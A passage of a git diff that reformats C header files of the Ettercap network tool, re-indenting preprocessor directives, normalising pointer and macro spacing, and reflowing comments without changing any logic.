/* HAVE_INTTYPES_H */ #ifndef TYPES_DEFINED #define TYPES_DEFINED - typedef int8_t int8; - typedef int16_t int16; - typedef int32_t int32; - typedef int64_t int64; +typedef int8_t int8; +typedef int16_t int16; +typedef int32_t int32; +typedef int64_t int64; + +typedef u_int8_t u_int8; +typedef u_int16_t u_int16; +typedef u_int32_t u_int32; +typedef u_int64_t u_int64; - typedef u_int8_t u_int8; - typedef u_int16_t u_int16; - typedef u_int32_t u_int32; - typedef u_int64_t u_int64; +#if defined OS_BSD_OPEN && !defined HAVE_STDINT_H +#define INT8_MAX CHAR_MAX +#define UINT8_MAX UCHAR_MAX +#define INT16_MAX SHRT_MAX +#define UINT16_MAX USHRT_MAX +#define INT32_MAX INT_MAX +#define UINT32_MAX UINT_MAX +#endif - #if defined OS_BSD_OPEN && !defined HAVE_STDINT_H - #define INT8_MAX CHAR_MAX - #define UINT8_MAX UCHAR_MAX - #define INT16_MAX SHRT_MAX - #define UINT16_MAX USHRT_MAX - #define INT32_MAX INT_MAX - #define UINT32_MAX UINT_MAX - #endif +/* Maximum of signed integral types. */ +#ifndef INT8_MAX +#define INT8_MAX (127) +#endif +#ifndef INT16_MAX +#define INT16_MAX (32767) +#endif +#ifndef INT32_MAX +#define INT32_MAX (2147483647) +#endif - /* Maximum of signed integral types. */ - #ifndef INT8_MAX - #define INT8_MAX (127) - #endif - #ifndef INT16_MAX - #define INT16_MAX (32767) - #endif - #ifndef INT32_MAX - #define INT32_MAX (2147483647) - #endif +/* Maximum of unsigned integral types. */ +#ifndef UINT8_MAX +#define UINT8_MAX (255) +#endif +#ifndef UINT16_MAX +#define UINT16_MAX (65535) +#endif +#ifndef UINT32_MAX +#define UINT32_MAX (4294967295U) +#endif - /* Maximum of unsigned integral types. */ - #ifndef UINT8_MAX - #define UINT8_MAX (255) - #endif - #ifndef UINT16_MAX - #define UINT16_MAX (65535) - #endif - #ifndef UINT32_MAX - #define UINT32_MAX (4294967295U) - #endif - #endif - + #endif /* EOF */ diff --git a/include/ec_streambuf.h b/include/ec_streambuf.h index 235dda393..2e9384413 100644 --- a/include/ec_streambuf.h +++ b/include/ec_streambuf.h @@ -42,4 +42,3 @@ EC_API_EXTERN int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_strings.h b/include/ec_strings.h index 9ad245ef3..bd1439df9 100644 --- a/include/ec_strings.h +++ b/include/ec_strings.h @@ -2,61 +2,60 @@ #define ETTERCAP_STRINGS_H #ifdef HAVE_CTYPE_H - #include +#include #else - extern int isprint(int c); +extern int isprint(int c); #endif #ifndef HAVE_STRLCAT_FUNCTION - #ifndef HAVE_STRLCAT - #include - #else - #include - #endif +#ifndef HAVE_STRLCAT +#include #else - #include +#include +#endif +#else +#include #endif #ifndef HAVE_STRLCPY_FUNCTION - #ifndef HAVE_STRLCPY - #include - #else - #include - #endif +#ifndef HAVE_STRLCPY +#include #else - #include +#include #endif -#ifndef HAVE_STRSEP - #include +#else +#include #endif -#ifndef HAVE_STRCASESTR - #include +#ifndef HAVE_STRSEP +#include +#endif +#ifndef HAVE_STRCASESTR +#include #endif #ifndef HAVE_MEMMEM - #include +#include #endif #ifndef HAVE_MEMRCHR - #include +#include #endif #ifndef HAVE_BASENAME - #include +#include #endif EC_API_EXTERN int match_pattern(const char *s, const char *pattern); EC_API_EXTERN int base64_decode(char *bufplain, const char *bufcoded); EC_API_EXTERN int strescape(char *dst, char *src, size_t len); -EC_API_EXTERN int str_replace(char **text, const char *s, const char *d); +EC_API_EXTERN int str_replace(char **text, const char *s, const char *d); EC_API_EXTERN size_t strlen_utf8(const char *s); -EC_API_EXTERN char * ec_strtok(char *s, const char *delim, char **ptrptr); +EC_API_EXTERN char *ec_strtok(char *s, const char *delim, char **ptrptr); EC_API_EXTERN char getchar_buffer(char **buf); EC_API_EXTERN int str_hex_to_bytes(char *string, u_char *bytes); -EC_API_EXTERN char * str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len); +EC_API_EXTERN char *str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len); EC_API_EXTERN int ec_strsplit_ipport(char *input, char *ip, u_int16 *port); -#define strtok(x,y) DON_T_USE_STRTOK_DIRECTLY_USE__EC_STRTOK__INSTEAD +#define strtok(x, y) DON_T_USE_STRTOK_DIRECTLY_USE__EC_STRTOK__INSTEAD #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_threads.h b/include/ec_threads.h index 77bc394e4..90756a04a 100644 --- a/include/ec_threads.h +++ b/include/ec_threads.h @@ -7,21 +7,21 @@ struct ec_thread { char *name; char *description; - int detached; + int detached; pthread_t id; }; /* a value to be used to return errors in fuctcions using pthread_t values */ pthread_t EC_PTHREAD_NULL; #define EC_PTHREAD_SELF EC_PTHREAD_NULL -#define PTHREAD_ID(id) (*(unsigned long*)&(id)) +#define PTHREAD_ID(id) (*(unsigned long *)& (id)) -#define EC_THREAD_FUNC(x) void * x(void *args) +#define EC_THREAD_FUNC(x) void *x(void *args) #define EC_THREAD_PARAM args -EC_API_EXTERN char * ec_thread_getname(pthread_t id); +EC_API_EXTERN char *ec_thread_getname(pthread_t id); EC_API_EXTERN pthread_t ec_thread_getpid(char *name); -EC_API_EXTERN char * ec_thread_getdesc(pthread_t id); +EC_API_EXTERN char *ec_thread_getdesc(pthread_t id); EC_API_EXTERN void ec_thread_register_detached(pthread_t id, char *name, char *desc, int detached); EC_API_EXTERN void ec_thread_register(pthread_t id, char *name, char *desc); EC_API_EXTERN pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args); @@ -31,13 +31,13 @@ EC_API_EXTERN void ec_thread_init(void); EC_API_EXTERN void ec_thread_kill_all(void); EC_API_EXTERN void ec_thread_exit(void); -#define RETURN_IF_NOT_MAIN() do{ if (strcmp(ec_thread_getname(EC_PTHREAD_SELF), GBL_PROGRAM)) return; }while(0) +#define RETURN_IF_NOT_MAIN() do { if (strcmp(ec_thread_getname(EC_PTHREAD_SELF), GBL_PROGRAM)) return; } while (0) #define CANCELLATION_POINT() pthread_testcancel() #if defined(OS_DARWIN) || defined(OS_WINDOWS) || defined(OS_CYGWIN) - /* XXX - darwin and windows are broken, pthread_join hangs up forever */ - #define BROKEN_PTHREAD_JOIN +/* XXX - darwin and windows are broken, pthread_join hangs up forever */ +#define BROKEN_PTHREAD_JOIN #endif /* Mac OS X does not have it, and some other systems define it as enum */ @@ -50,4 +50,3 @@ EC_API_EXTERN void ec_thread_exit(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_ui.h b/include/ec_ui.h index 6d6f411f4..1aab36e38 100644 --- a/include/ec_ui.h +++ b/include/ec_ui.h @@ -11,19 +11,19 @@ struct ui_ops { void (*error)(const char *msg); void (*fatal_error)(const char *msg); void (*input)(const char *title, char *input, size_t n, void (*callback)(void)); - int (*progress)(char *title, int value, int max); - #define UI_PROGRESS_INTERRUPTED -1 - #define UI_PROGRESS_FINISHED 0 - #define UI_PROGRESS_UPDATED 1 + int (*progress)(char *title, int value, int max); +#define UI_PROGRESS_INTERRUPTED -1 +#define UI_PROGRESS_FINISHED 0 +#define UI_PROGRESS_UPDATED 1 void (*update)(int); - #define UI_UPDATE_HOSTLIST 1 - #define UI_UPDATE_PLUGINLIST 2 +#define UI_UPDATE_HOSTLIST 1 +#define UI_UPDATE_PLUGINLIST 2 char initialized; char type; - #define UI_TEXT 0 - #define UI_DAEMONIZE 1 - #define UI_CURSES 2 - #define UI_GTK 3 +#define UI_TEXT 0 +#define UI_DAEMONIZE 1 +#define UI_CURSES 2 +#define UI_GTK 3 }; EC_API_EXTERN void ui_init(void); @@ -41,26 +41,26 @@ EC_API_EXTERN int ui_msg_flush(int max); EC_API_EXTERN int ui_msg_purge_all(void); EC_API_EXTERN void ui_register(struct ui_ops *ops); -#define USER_MSG(x, ...) ui_msg(x, ## __VA_ARGS__ ) +#define USER_MSG(x, ...) ui_msg(x, ## __VA_ARGS__) -#define INSTANT_USER_MSG(x, ...) do { ui_msg(x, ## __VA_ARGS__ ); ui_msg_flush(MSG_ALL); } while(0) +#define INSTANT_USER_MSG(x, ...) do { ui_msg(x, ## __VA_ARGS__); ui_msg_flush(MSG_ALL); } while (0) -#define FATAL_MSG(x, ...) do { ui_error(x, ## __VA_ARGS__ ); return (-E_FATAL); } while(0) +#define FATAL_MSG(x, ...) do { ui_error(x, ## __VA_ARGS__); return (-E_FATAL); } while (0) -/* +/* * if we are using the text interface, exit with a fatal error, * else display a message and continue with the current GUI (curses or gtk) */ -#define SEMIFATAL_ERROR(x, ...) do { \ - if (!GBL_UI->initialized || GBL_UI->type == UI_TEXT || GBL_UI->type == UI_DAEMONIZE) \ - FATAL_ERROR(x, ## __VA_ARGS__); \ - else \ - FATAL_MSG(x, ## __VA_ARGS__); \ -} while(0) +#define SEMIFATAL_ERROR(x, ...) \ + do { \ + if (!GBL_UI->initialized || GBL_UI->type == UI_TEXT || GBL_UI->type == UI_DAEMONIZE) \ + FATAL_ERROR(x, ## __VA_ARGS__); \ + else \ + FATAL_MSG(x, ## __VA_ARGS__); \ + } while (0) #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_update.h b/include/ec_update.h index 1c5b41426..5d064ca1e 100644 --- a/include/ec_update.h +++ b/include/ec_update.h @@ -8,4 +8,3 @@ EC_API_EXTERN void global_update(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_utils.h b/include/ec_utils.h index c49f8a62b..11981c8c5 100644 --- a/include/ec_utils.h +++ b/include/ec_utils.h @@ -1,7 +1,7 @@ #ifndef ETTERCAP_UTILS_H #define ETTERCAP_UTILS_H -EC_API_EXTERN int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t ); +EC_API_EXTERN int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t); EC_API_EXTERN int set_regex(char *regex); EC_API_EXTERN char **parse_iflist(char *list); EC_API_EXTERN void drop_privs(void); diff --git a/include/ec_version.h b/include/ec_version.h index 456955c10..52cf89291 100644 --- a/include/ec_version.h +++ b/include/ec_version.h @@ -12,4 +12,3 @@ #endif /* EOF */ - diff --git a/include/ef.h b/include/ef.h index 95256a4c6..7041521fc 100644 --- a/include/ef.h +++ b/include/ef.h @@ -8,12 +8,12 @@ #include #include -#if !defined (__USE_GNU) /* for memmem(), strsignal(), etc etc... */ - #define __USE_GNU +#if !defined(__USE_GNU) /* for memmem(), strsignal(), etc etc... */ +#define __USE_GNU #endif #include -#if defined (__USE_GNU) - #undef __USE_GNU +#if defined(__USE_GNU) +#undef __USE_GNU #endif #include #include @@ -23,11 +23,11 @@ #define EF_API_EXTERN #ifndef HAVE_STRSEP - #include +#include #endif #ifdef OS_WINDOWS - #include +#include #endif #include @@ -35,25 +35,27 @@ #include #include -#define SAFE_CALLOC(x, n, s) do { \ - x = calloc(n, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) +#define SAFE_CALLOC(x, n, s) \ + do { \ + x = calloc(n, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_REALLOC(x, s) do { \ - x = realloc(x, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) +#define SAFE_REALLOC(x, s) \ + do { \ + x = realloc(x, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_FREE(x) do{ if(x) { free(x); x = NULL; } }while(0) +#define SAFE_FREE(x) do { if (x) { free(x); x = NULL; } } while (0) #define __init __attribute__ ((constructor)) -#define LOOP for(;;) +#define LOOP for (;;) -/* file operations */ +/* file operations */ #ifndef OS_WINDOWS - #define O_BINARY 0 +#define O_BINARY 0 #endif struct globals { @@ -72,40 +74,38 @@ extern struct globals *gbls; #define GBL_PROGRAM "etterfilter" - -#define BIT_SET(r,b) ( r[b>>3] |= 1<<(b&7) ) -#define BIT_RESET(r,b) ( r[b>>3] &= ~ 1<<(b&7) ) -#define BIT_TEST(r,b) ( r[b>>3] & 1<<(b&7) ) -#define BIT_NOT(r,b) ( r[b>>3] ^= 1<<(b&7) ) +#define BIT_SET(r, b) (r[b >> 3] |= 1 << (b & 7)) +#define BIT_RESET(r, b) (r[b >> 3] &= ~1 << (b & 7)) +#define BIT_TEST(r, b) (r[b >> 3] & 1 << (b & 7)) +#define BIT_NOT(r, b) (r[b >> 3] ^= 1 << (b & 7)) /* ANSI colors */ #ifndef OS_WINDOWS - #define EC_COLOR_END "\033[0m" - #define EC_COLOR_BOLD "\033[1m" - - #define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD - #define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD - #define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD - #define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD - #define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD +#define EC_COLOR_END "\033[0m" +#define EC_COLOR_BOLD "\033[1m" + +#define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD +#define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD +#define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD +#define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD +#define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD #else - /* Windows console doesn't grok ANSI */ - #define EC_COLOR_END - #define EC_COLOR_BOLD - - #define EC_COLOR_RED - #define EC_COLOR_YELLOW - #define EC_COLOR_GREEN - #define EC_COLOR_BLUE - #define EC_COLOR_CYAN +/* Windows console doesn't grok ANSI */ +#define EC_COLOR_END +#define EC_COLOR_BOLD + +#define EC_COLOR_RED +#define EC_COLOR_YELLOW +#define EC_COLOR_GREEN +#define EC_COLOR_BLUE +#define EC_COLOR_CYAN #endif EC_API_EXTERN void globals_alloc(void); EC_API_EXTERN void globals_free(void); -#endif /* EL_H */ +#endif /* EL_H */ /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ef_functions.h b/include/ef_functions.h index 2492d5c2b..3c2323658 100644 --- a/include/ef_functions.h +++ b/include/ef_functions.h @@ -3,14 +3,15 @@ #include -#define SCRIPT_ERROR(x, ...) FATAL_ERROR("\n[%s:%d]: "x, GBL_OPTIONS->source_file, GBL->lineno, ## __VA_ARGS__ ); +#define SCRIPT_ERROR(x, ...) FATAL_ERROR("\n[%s:%d]: "x, GBL_OPTIONS->source_file, GBL->lineno, ## __VA_ARGS__); -#define WARNING(x) do { \ -if (!GBL_OPTIONS->suppress_warnings) \ - FATAL_ERROR("\n[%s:%ld]: WARNING "x, GBL_OPTIONS->source_file, (unsigned long)GBL->lineno); \ -else \ - fprintf(stderr, "\n[%s:%ld]: WARNING "x, GBL_OPTIONS->source_file, (unsigned long)GBL->lineno); \ -} while(0) +#define WARNING(x) \ + do { \ + if (!GBL_OPTIONS->suppress_warnings) \ + FATAL_ERROR("\n[%s:%ld]: WARNING "x, GBL_OPTIONS->source_file, (unsigned long)GBL->lineno); \ + else \ + fprintf(stderr, "\n[%s:%ld]: WARNING "x, GBL_OPTIONS->source_file, (unsigned long)GBL->lineno); \ + } while (0) /* ef_main */ EF_API_EXTERN void ef_debug(u_char level, const char *message, ...); @@ -49,8 +50,8 @@ struct block { } un; struct block *next; u_int8 type; - #define BLK_INSTR 0 - #define BLK_IFBLK 1 +#define BLK_INSTR 0 +#define BLK_IFBLK 1 }; struct instruction { @@ -67,23 +68,22 @@ struct condition { struct filter_op fop; struct condition *next; u_int16 op; - #define COND_AND 0 - #define COND_OR 1 +#define COND_AND 0 +#define COND_OR 1 }; EF_API_EXTERN int compiler_set_root(struct block *blk); EF_API_EXTERN size_t compile_tree(struct filter_op **fop); -EF_API_EXTERN struct block * compiler_add_instr(struct instruction *ins, struct block *blk); -EF_API_EXTERN struct block * compiler_add_ifblk(struct ifblock *ifb, struct block *blk); -EF_API_EXTERN struct instruction * compiler_create_instruction(struct filter_op *fop); -EF_API_EXTERN struct condition * compiler_create_condition(struct filter_op *fop); -EF_API_EXTERN struct condition * compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b); -EF_API_EXTERN struct ifblock * compiler_create_ifblock(struct condition *conds, struct block *blk); -EF_API_EXTERN struct ifblock * compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk); +EF_API_EXTERN struct block *compiler_add_instr(struct instruction *ins, struct block *blk); +EF_API_EXTERN struct block *compiler_add_ifblk(struct ifblock *ifb, struct block *blk); +EF_API_EXTERN struct instruction *compiler_create_instruction(struct filter_op *fop); +EF_API_EXTERN struct condition *compiler_create_condition(struct filter_op *fop); +EF_API_EXTERN struct condition *compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b); +EF_API_EXTERN struct ifblock *compiler_create_ifblock(struct condition *conds, struct block *blk); +EF_API_EXTERN struct ifblock *compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/el.h b/include/el.h index e0f4ed2e5..7d9bcad02 100644 --- a/include/el.h +++ b/include/el.h @@ -8,12 +8,12 @@ #include #include -#if !defined (__USE_GNU) /* for memmem(), strsignal(), etc etc... */ - #define __USE_GNU +#if !defined(__USE_GNU) /* for memmem(), strsignal(), etc etc... */ +#define __USE_GNU #endif #include -#if defined (__USE_GNU) - #undef __USE_GNU +#if defined(__USE_GNU) +#undef __USE_GNU #endif #include #include @@ -23,11 +23,11 @@ #define EL_API_EXTERN #ifndef HAVE_STRSEP - #include +#include #endif #ifdef OS_WINDOWS - #include +#include #endif #include @@ -41,25 +41,27 @@ #include #include -#define SAFE_CALLOC(x, n, s) do { \ - x = calloc(n, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) +#define SAFE_CALLOC(x, n, s) \ + do { \ + x = calloc(n, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_REALLOC(x, s) do { \ - x = realloc(x, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) +#define SAFE_REALLOC(x, s) \ + do { \ + x = realloc(x, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_FREE(x) do{ if(x) { free(x); x = NULL; } }while(0) +#define SAFE_FREE(x) do { if (x) { free(x); x = NULL; } } while (0) #define __init __attribute__ ((constructor)) -#define LOOP for(;;) +#define LOOP for (;;) -/* file operations */ +/* file operations */ #ifndef OS_WINDOWS - #define O_BINARY 0 +#define O_BINARY 0 #endif struct ip_list { @@ -68,35 +70,35 @@ struct ip_list { }; struct target_env { - char scan_all:1; - char all_mac:1; /* these one bit flags are used as wildcards */ - char all_ip:1; - char all_ip6:1; - char all_port:1; + char scan_all : 1; + char all_mac : 1; /* these one bit flags are used as wildcards */ + char all_ip : 1; + char all_ip6 : 1; + char all_port : 1; char *proto; u_char mac[MEDIA_ADDR_LEN]; LIST_HEAD(, ip_list) ips; LIST_HEAD(, ip_list) ip6; - u_int8 ports[1<<13]; /* in 8192 byte we have 65535 bits, use one bit per port */ + u_int8 ports[1 << 13]; /* in 8192 byte we have 65535 bits, use one bit per port */ }; struct el_options { - char concat:1; - char analyze:1; - char no_headers:1; - char connections:1; - char decode:1; - char showmac:1; - char showclient:1; - char only_source:1; - char only_dest:1; - char only_local:1; - char only_remote:1; - char passwords:1; - char color:1; - char xml:1; - char reverse:1; - char regex:1; + char concat : 1; + char analyze : 1; + char no_headers : 1; + char connections : 1; + char decode : 1; + char showmac : 1; + char showclient : 1; + char only_source : 1; + char only_dest : 1; + char only_local : 1; + char only_remote : 1; + char passwords : 1; + char color : 1; + char xml : 1; + char reverse : 1; + char regex : 1; }; struct globals { @@ -116,39 +118,37 @@ extern struct globals *gbls; #define GBL gbls - #define GBL_LOGFILE GBL->logfile #define GBL_LOG_FD GBL->fd #define GBL_OPTIONS GBL->options #define GBL_TARGET (GBL->t) #define GBL_PROGRAM "etterlog" - -#define BIT_SET(r,b) ( r[b>>3] |= 1<<(b&7) ) -#define BIT_RESET(r,b) ( r[b>>3] &= ~ 1<<(b&7) ) -#define BIT_TEST(r,b) ( r[b>>3] & 1<<(b&7) ) -#define BIT_NOT(r,b) ( r[b>>3] ^= 1<<(b&7) ) +#define BIT_SET(r, b) (r[b >> 3] |= 1 << (b & 7)) +#define BIT_RESET(r, b) (r[b >> 3] &= ~1 << (b & 7)) +#define BIT_TEST(r, b) (r[b >> 3] & 1 << (b & 7)) +#define BIT_NOT(r, b) (r[b >> 3] ^= 1 << (b & 7)) /* ANSI colors */ #ifndef OS_WINDOWS - #define EC_COLOR_END "\033[0m" - #define EC_COLOR_BOLD "\033[1m" - - #define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD - #define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD - #define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD - #define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD - #define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD +#define EC_COLOR_END "\033[0m" +#define EC_COLOR_BOLD "\033[1m" + +#define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD +#define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD +#define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD +#define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD +#define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD #else - /* Windows console doesn't grok ANSI */ - #define EC_COLOR_END - #define EC_COLOR_BOLD - - #define EC_COLOR_RED - #define EC_COLOR_YELLOW - #define EC_COLOR_GREEN - #define EC_COLOR_BLUE - #define EC_COLOR_CYAN +/* Windows console doesn't grok ANSI */ +#define EC_COLOR_END +#define EC_COLOR_BOLD + +#define EC_COLOR_RED +#define EC_COLOR_YELLOW +#define EC_COLOR_GREEN +#define EC_COLOR_BLUE +#define EC_COLOR_CYAN #endif #define COL_RED 31 @@ -167,10 +167,8 @@ void ui_error(const char *fmt, ...); void ui_fatal_error(const char *fmt, ...); void ui_cleanup(void); - -#endif /* EL_H */ +#endif /* EL_H */ /* EOF */ // vim:ts=3:expandtab - diff --git a/include/el_functions.h b/include/el_functions.h index 3377ccc0e..96933d4c0 100644 --- a/include/el_functions.h +++ b/include/el_functions.h @@ -34,7 +34,7 @@ EL_API_EXTERN void conn_decode(void); EL_API_EXTERN void filcon_compile(char *conn); EL_API_EXTERN int is_conn(struct log_header_packet *pck, int *versus); #define VERSUS_SOURCE 0 -#define VERSUS_DEST 1 +#define VERSUS_DEST 1 /* el_target */ EL_API_EXTERN void target_compile(char *target); @@ -59,17 +59,17 @@ struct so_offset { }; struct stream_object { - TAILQ_HEAD (so_list_head, so_list) so_head; + TAILQ_HEAD(so_list_head, so_list) so_head; struct so_offset side1; struct so_offset side2; }; EL_API_EXTERN void stream_init(struct stream_object *so); EL_API_EXTERN int stream_add(struct stream_object *so, struct log_header_packet *pck, char *buf); -EL_API_EXTERN struct so_list * stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode); +EL_API_EXTERN struct so_list *stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode); EL_API_EXTERN int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode); - #define STREAM_SIDE1 0 - #define STREAM_SIDE2 ~0 +#define STREAM_SIDE1 0 +#define STREAM_SIDE2 ~0 EL_API_EXTERN int stream_move(struct stream_object *so, size_t offset, int whence, int mode); /* el_decode */ @@ -81,18 +81,19 @@ enum { #define FUNC_EXTRACTOR(func) int func(struct stream_object *so) #define FUNC_EXTRACTOR_PTR(func) int (*func)(struct stream_object *so) -#define EXECUTE_EXTRACTOR(x, so, ret) do{ \ - if (x) \ - ret += x(so); \ -}while(0) +#define EXECUTE_EXTRACTOR(x, so, ret) \ + do { \ + if (x) \ + ret += x(so); \ + } while (0) #define STREAM so EL_API_EXTERN int decode_stream(struct stream_object *so); - #define STREAM_SKIPPED 0 - #define STREAM_DECODED 1 +#define STREAM_SKIPPED 0 +#define STREAM_DECODED 1 EL_API_EXTERN void add_extractor(u_int8 level, u_int32 type, FUNC_EXTRACTOR_PTR(extractor)); -EL_API_EXTERN void * get_extractor(u_int8 level, u_int32 type); +EL_API_EXTERN void *get_extractor(u_int8 level, u_int32 type); EL_API_EXTERN int decode_to_file(char *host, char *proto, char *file); #endif @@ -100,4 +101,3 @@ EL_API_EXTERN int decode_to_file(char *host, char *proto, char *file); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/missing/basename.h b/include/missing/basename.h index 44260fe9d..7bab88dec 100644 --- a/include/missing/basename.h +++ b/include/missing/basename.h @@ -2,7 +2,6 @@ #error Move this header somewhere else #endif -EC_API_EXTERN char * basename (const char *filename); +EC_API_EXTERN char *basename(const char *filename); /* EOF */ - diff --git a/include/missing/getopt.h b/include/missing/getopt.h index 9ecc1c286..f5ffddd25 100644 --- a/include/missing/getopt.h +++ b/include/missing/getopt.h @@ -1,66 +1,66 @@ /* Declarations for getopt. - Copyright (C) 1989,90,91,92,93,94,96,97,98,99 Free Software Foundation, Inc. - This file is part of the GNU C Library. - - The GNU C Library is free software; you can redistribute it and/or - modify it under the terms of the GNU Library General Public License as - published by the Free Software Foundation; either version 2 of the - License, or (at your option) any later version. - - The GNU C Library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Library General Public License for more details. - - You should have received a copy of the GNU Library General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ + * Copyright (C) 1989,90,91,92,93,94,96,97,98,99 Free Software Foundation, Inc. + * This file is part of the GNU C Library. + * + * The GNU C Library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * The GNU C Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _GETOPT_H #ifndef __need_getopt -# define _GETOPT_H 1 +#define _GETOPT_H 1 #endif /* If __GNU_LIBRARY__ is not already defined, either we are being used - standalone, or this is the first header included in the source file. - If we are being used with glibc, we need to include , but - that does not exist if we are standalone. So: if __GNU_LIBRARY__ is - not defined, include , which will pull in for us - if it's from glibc. (Why ctype.h? It's guaranteed to exist and it - doesn't flood the namespace with stuff the way some other headers do.) */ + * standalone, or this is the first header included in the source file. + * If we are being used with glibc, we need to include , but + * that does not exist if we are standalone. So: if __GNU_LIBRARY__ is + * not defined, include , which will pull in for us + * if it's from glibc. (Why ctype.h? It's guaranteed to exist and it + * doesn't flood the namespace with stuff the way some other headers do.) */ #if !defined __GNU_LIBRARY__ -# include +#include #endif -#ifdef __cplusplus +#ifdef __cplusplus extern "C" { #endif /* For communication from `getopt' to the caller. - When `getopt' finds an option that takes an argument, - the argument value is returned here. - Also, when `ordering' is RETURN_IN_ORDER, - each non-option ARGV-element is returned here. */ + * When `getopt' finds an option that takes an argument, + * the argument value is returned here. + * Also, when `ordering' is RETURN_IN_ORDER, + * each non-option ARGV-element is returned here. */ extern char *optarg; /* Index in ARGV of the next element to be scanned. - This is used for communication to and from the caller - and for communication between successive calls to `getopt'. - - On entry to `getopt', zero means this is the first call; initialize. - - When `getopt' returns -1, this is the index of the first of the - non-option elements that the caller should itself scan. - - Otherwise, `optind' communicates from one call to the next - how much of ARGV has been scanned so far. */ + * This is used for communication to and from the caller + * and for communication between successive calls to `getopt'. + * + * On entry to `getopt', zero means this is the first call; initialize. + * + * When `getopt' returns -1, this is the index of the first of the + * non-option elements that the caller should itself scan. + * + * Otherwise, `optind' communicates from one call to the next + * how much of ARGV has been scanned so far. */ extern int optind; /* Callers store zero here to inhibit the error message `getopt' prints - for unrecognized options. */ + * for unrecognized options. */ extern int opterr; @@ -70,106 +70,104 @@ extern int optopt; #ifndef __need_getopt /* Describe the long-named options requested by the application. - The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector - of `struct option' terminated by an element containing a name which is - zero. - - The field `has_arg' is: - no_argument (or 0) if the option does not take an argument, - required_argument (or 1) if the option requires an argument, - optional_argument (or 2) if the option takes an optional argument. - - If the field `flag' is not NULL, it points to a variable that is set - to the value given in the field `val' when the option is found, but - left unchanged if the option is not found. - - To have a long-named option do something other than set an `int' to - a compiled-in constant, such as set a value from `optarg', set the - option's `flag' field to zero and its `val' field to a nonzero - value (the equivalent single-letter option character, if there is - one). For long options that have a zero `flag' field, `getopt' - returns the contents of the `val' field. */ - -struct option -{ -# if defined __STDC__ && __STDC__ - const char *name; -# else - char *name; -# endif - /* has_arg can't be an enum because some compilers complain about - type mismatches in all the code that assumes it is an int. */ - int has_arg; - int *flag; - int val; + * The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector + * of `struct option' terminated by an element containing a name which is + * zero. + * + * The field `has_arg' is: + * no_argument (or 0) if the option does not take an argument, + * required_argument (or 1) if the option requires an argument, + * optional_argument (or 2) if the option takes an optional argument. + * + * If the field `flag' is not NULL, it points to a variable that is set + * to the value given in the field `val' when the option is found, but + * left unchanged if the option is not found. + * + * To have a long-named option do something other than set an `int' to + * a compiled-in constant, such as set a value from `optarg', set the + * option's `flag' field to zero and its `val' field to a nonzero + * value (the equivalent single-letter option character, if there is + * one). For long options that have a zero `flag' field, `getopt' + * returns the contents of the `val' field. */ + +struct option { +#if defined __STDC__ && __STDC__ + const char 